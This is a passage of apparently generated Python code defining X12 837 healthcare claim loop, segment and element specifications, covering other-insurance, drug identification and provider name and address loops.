codes=[],
),
),
),
Segment(
"OI",
Properties(
desc="Other Insurance Coverage Information",
position="3100",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"OI01",
Properties(
desc="Claim Filing Indicator Code",
req_sit="N",
data_type=("ID", "1", "2"),
position=1,
codes=[],
),
),
Element(
"OI02",
Properties(
desc="Claim Submission Reason Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"OI03",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=3,
codes=["N", "W", "Y"],
),
),
Element(
"OI04",
Properties(
desc="Patient Signature Source Code",
req_sit="S",
data_type=("ID", "1", "1"),
position=4,
codes=["P"],
),
),
Element(
"OI05",
Properties(
desc="Provider Agreement Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=5,
codes=[],
),
),
Element(
"OI06",
Properties(
desc="Release of Information Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=6,
codes=["I", "Y"],
),
),
),
Segment(
"MOA",
Properties(
desc="Outpatient Adjudication Information",
position="3200",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"MOA01",
Properties(
desc="Percentage as Decimal",
req_sit="S",
data_type=("R", "1", "10"),
position=1,
codes=[],
),
),
Element(
"MOA02",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"MOA03",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"MOA04",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=4,
codes=[],
),
),
Element(
"MOA05",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
Element(
"MOA06",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=6,
codes=[],
),
),
Element(
"MOA07",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=7,
codes=[],
),
),
Element(
"MOA08",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=8,
codes=[],
),
),
Element(
"MOA09",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=9,
codes=[],
),
),
),
parsed_837_2330A,
parsed_837_2330B,
parsed_837_2330C,
parsed_837_2330D,
parsed_837_2330E,
parsed_837_2330F,
parsed_837_2330G,
)
parsed_837_2410 = Loop(
"2410",
Properties(
desc="Drug Identification",
looptype="",
position="4940",
repeat="1",
req_sit="S",
),
Segment(
"LIN",
Properties(
desc="Drug Identification",
position="4930",
repeat="1",
req_sit="R",
syntax="P0405 P0607 P0809 P1011 P1213 P1415 P1617 P1819 P2021 P2223 P2425 P2627 P2829 P3031",
),
Element(
"LIN01",
Properties(
desc="Assigned Identification",
req_sit="N",
data_type=("AN", "1", "20"),
position=1,
codes=[],
),
),
Element(
"LIN02",
Properties(
desc="Product/Service ID Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=2,
codes=["EN", "EO", "HI", "N4", "ON", "UK", "UP"],
),
),
Element(
"LIN03",
Properties(
desc="Product/Service ID",
req_sit="R",
data_type=("AN", "1", "48"),
position=3,
codes=[],
),
),
Element(
"LIN04",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=4,
codes=[],
),
),
Element(
"LIN05",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=5,
codes=[],
),
),
Element(
"LIN06",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=6,
codes=[],
),
),
Element(
"LIN07",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=7,
codes=[],
),
),
Element(
"LIN08",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=8,
codes=[],
),
),
Element(
"LIN09",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=9,
codes=[],
),
),
Element(
"LIN10",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"LIN11",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=11,
codes=[],
),
),
Element(
"LIN12",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=12,
codes=[],
),
),
Element(
"LIN13",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=13,
codes=[],
),
),
Element(
"LIN14",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=14,
codes=[],
),
),
Element(
"LIN15",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=15,
codes=[],
),
),
Element(
"LIN16",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=16,
codes=[],
),
),
Element(
"LIN17",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=17,
codes=[],
),
),
Element(
"LIN18",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=18,
codes=[],
),
),
Element(
"LIN19",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=19,
codes=[],
),
),
Element(
"LIN20",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=20,
codes=[],
),
),
Element(
"LIN21",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=21,
codes=[],
),
),
Element(
"LIN22",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=22,
codes=[],
),
),
Element(
"LIN23",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=23,
codes=[],
),
),
Element(
"LIN24",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=24,
codes=[],
),
),
Element(
"LIN25",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=25,
codes=[],
),
),
Element(
"LIN26",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=26,
codes=[],
),
),
Element(
"LIN27",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=27,
codes=[],
),
),
Element(
"LIN28",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=28,
codes=[],
),
),
Element(
"LIN29",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=29,
codes=[],
),
),
Element(
"LIN30",
Properties(
desc="Product/Service ID Qualifier",
req_sit="N",
data_type=("ID", "2", "2"),
position=30,
codes=[],
),
),
Element(
"LIN31",
Properties(
desc="Product/Service ID",
req_sit="N",
data_type=("AN", "1", "48"),
position=31,
codes=[],
),
),
),
Segment(
"CTP",
Properties(
desc="Drug Quantity",
position="4940",
repeat="1",
req_sit="R",
syntax="P0405 C0607 C0902 C1002 C1103",
),
Element(
"CTP01",
Properties(
desc="Class of Trade Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=1,
codes=[],
),
),
Element(
"CTP02",
Properties(
desc="Price Identifier Code",
req_sit="N",
data_type=("ID", "3", "3"),
position=2,
codes=[],
),
),
Element(
"CTP03",
Properties(
desc="Unit Price",
req_sit="N",
data_type=("R", "1", "17"),
position=3,
codes=[],
),
),
Element(
"CTP04",
Properties(
desc="Quantity",
req_sit="R",
data_type=("R", "1", "15"),
position=4,
codes=[],
),
),
Composite(
"C001",
Properties(
desc="Composite Unit of Measure",
refdes="",
repeat="",
req_sit="R",
seq="05",
),
Element(
"CTP05-01",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=0,
codes=["F2", "GR", "ME", "ML", "UN"],
),
),
Element(
"CTP05-02",
Properties(
desc="Exponent",
req_sit="N",
data_type=("R", "1", "15"),
position=1,
codes=[],
),
),
Element(
"CTP05-03",
Properties(
desc="Multiplier",
req_sit="N",
data_type=("R", "1", "10"),
position=2,
codes=[],
),
),
Element(
"CTP05-04",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=3,
codes=[],
),
),
Element(
"CTP05-05",
Properties(
desc="Exponent",
req_sit="N",
data_type=("R", "1", "15"),
position=4,
codes=[],
),
),
Element(
"CTP05-06",
Properties(
desc="Multiplier",
req_sit="N",
data_type=("R", "1", "10"),
position=5,
codes=[],
),
),
Element(
"CTP05-07",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=6,
codes=[],
),
),
Element(
"CTP05-08",
Properties(
desc="Exponent",
req_sit="N",
data_type=("R", "1", "15"),
position=7,
codes=[],
),
),
Element(
"CTP05-09",
Properties(
desc="Multiplier",
req_sit="N",
data_type=("R", "1", "10"),
position=8,
codes=[],
),
),
Element(
"CTP05-10",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=9,
codes=[],
),
),
Element(
"CTP05-11",
Properties(
desc="Exponent",
req_sit="N",
data_type=("R", "1", "15"),
position=10,
codes=[],
),
),
Element(
"CTP05-12",
Properties(
desc="Multiplier",
req_sit="N",
data_type=("R", "1", "10"),
position=11,
codes=[],
),
),
Element(
"CTP05-13",
Properties(
desc="Unit or Basis for Measurement Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=12,
codes=[],
),
),
Element(
"CTP05-14",
Properties(
desc="Exponent",
req_sit="N",
data_type=("R", "1", "15"),
position=13,
codes=[],
),
),
Element(
"CTP05-15",
Properties(
desc="Multiplier",
req_sit="N",
data_type=("R", "1", "10"),
position=14,
codes=[],
),
),
),
Element(
"CTP06",
Properties(
desc="Price Multiplier Qualifier",
req_sit="N",
data_type=("ID", "3", "3"),
position=6,
codes=[],
),
),
Element(
"CTP07",
Properties(
desc="Multiplier",
req_sit="N",
data_type=("R", "1", "10"),
position=7,
codes=[],
),
),
Element(
"CTP08",
Properties(
desc="Monetary Amount",
req_sit="N",
data_type=("R", "1", "18"),
position=8,
codes=[],
),
),
Element(
"CTP09",
Properties(
desc="Basis of Unit Price Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=9,
codes=[],
),
),
Element(
"CTP10",
Properties(
desc="Condition Value",
req_sit="N",
data_type=("AN", "1", "10"),
position=10,
codes=[],
),
),
Element(
"CTP11",
Properties(
desc="Multiple Price Quantity",
req_sit="N",
data_type=("N0", "1", "2"),
position=11,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Prescription or Compound Drug Association Number",
position="4950",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["VY", "XZ"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2420A = Loop(
"2420A",
Properties(
desc="Rendering Provider Name",
looptype="",
position="5000",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Rendering Provider Name",
position="5000",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["82"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1", "2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"PRV",
Properties(
desc="Rendering Provider Specialty Information",
position="5050",
repeat="1",
req_sit="S",
syntax="P0203",
),
Element(
"PRV01",
Properties(
desc="Provider Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["PE"],
),
),
Element(
"PRV02",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["PXC"],
),
),
Element(
"PRV03",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"PRV04",
Properties(
desc="State or Province Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=4,
codes=[],
),
),
Composite(
"C035",
Properties(
desc="Provider Specialty Information",
refdes="",
repeat="",
req_sit="N",
seq="05",
),
),
Element(
"PRV06",
Properties(
desc="Provider Organization Code",
req_sit="N",
data_type=("ID", "3", "3"),
position=6,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Rendering Provider Secondary Identification",
position="5250",
repeat="20",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="S", seq="04"
),
Element(
"REF04-01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["2U"],
),
),
Element(
"REF04-02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"REF04-03",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"REF04-04",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"REF04-05",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"REF04-06",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
),
),
)
parsed_837_2420B = Loop(
"2420B",
Properties(
desc="Purchased Service Provider Name",
looptype="",
position="5000",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Purchased Service Provider Name",
position="5000",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["QB"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1", "2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Purchased Service Provider Secondary Identification",
position="5250",
repeat="20",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="S", seq="04"
),
Element(
"REF04-01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["2U"],
),
),
Element(
"REF04-02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"REF04-03",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"REF04-04",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"REF04-05",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"REF04-06",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
),
),
)
parsed_837_2420C = Loop(
"2420C",
Properties(
desc="Service Facility Location Name",
looptype="",
position="5000",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Service Facility Location Name",
position="5000",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["77"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Service Facility Location Address",
position="5140",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Service Facility Location City, State, ZIP Code",
position="5200",
repeat="1",
req_sit="R",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Service Facility Location Secondary Identification",
position="5250",
repeat="3",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="S", seq="04"
),
Element(
"REF04-01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["2U"],
),
),
Element(
"REF04-02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"REF04-03",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"REF04-04",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"REF04-05",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"REF04-06",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
),
),
)
parsed_837_2420D = Loop(
"2420D",
Properties(
desc="Supervising Provider Name",
looptype="",
position="5000",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Supervising Provider Name",
position="5000",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["DQ"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Supervising Provider Secondary Identification",
position="5250",
repeat="20",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="S", seq="04"
),
Element(
"REF04-01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["2U"],
),
),
Element(
"REF04-02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"REF04-03",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"REF04-04",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"REF04-05",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"REF04-06",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
),
),
)
parsed_837_2420E = Loop(
"2420E",
Properties(
desc="Ordering Provider Name",
looptype="",
position="5000",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Ordering Provider Name",
position="5000",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["DK"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Ordering Provider Address",
position="5140",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Ordering Provider City, State, ZIP Code",
position="5200",
repeat="1",
req_sit="S",
syntax="E0207 C0605 C0704",
),
Element(
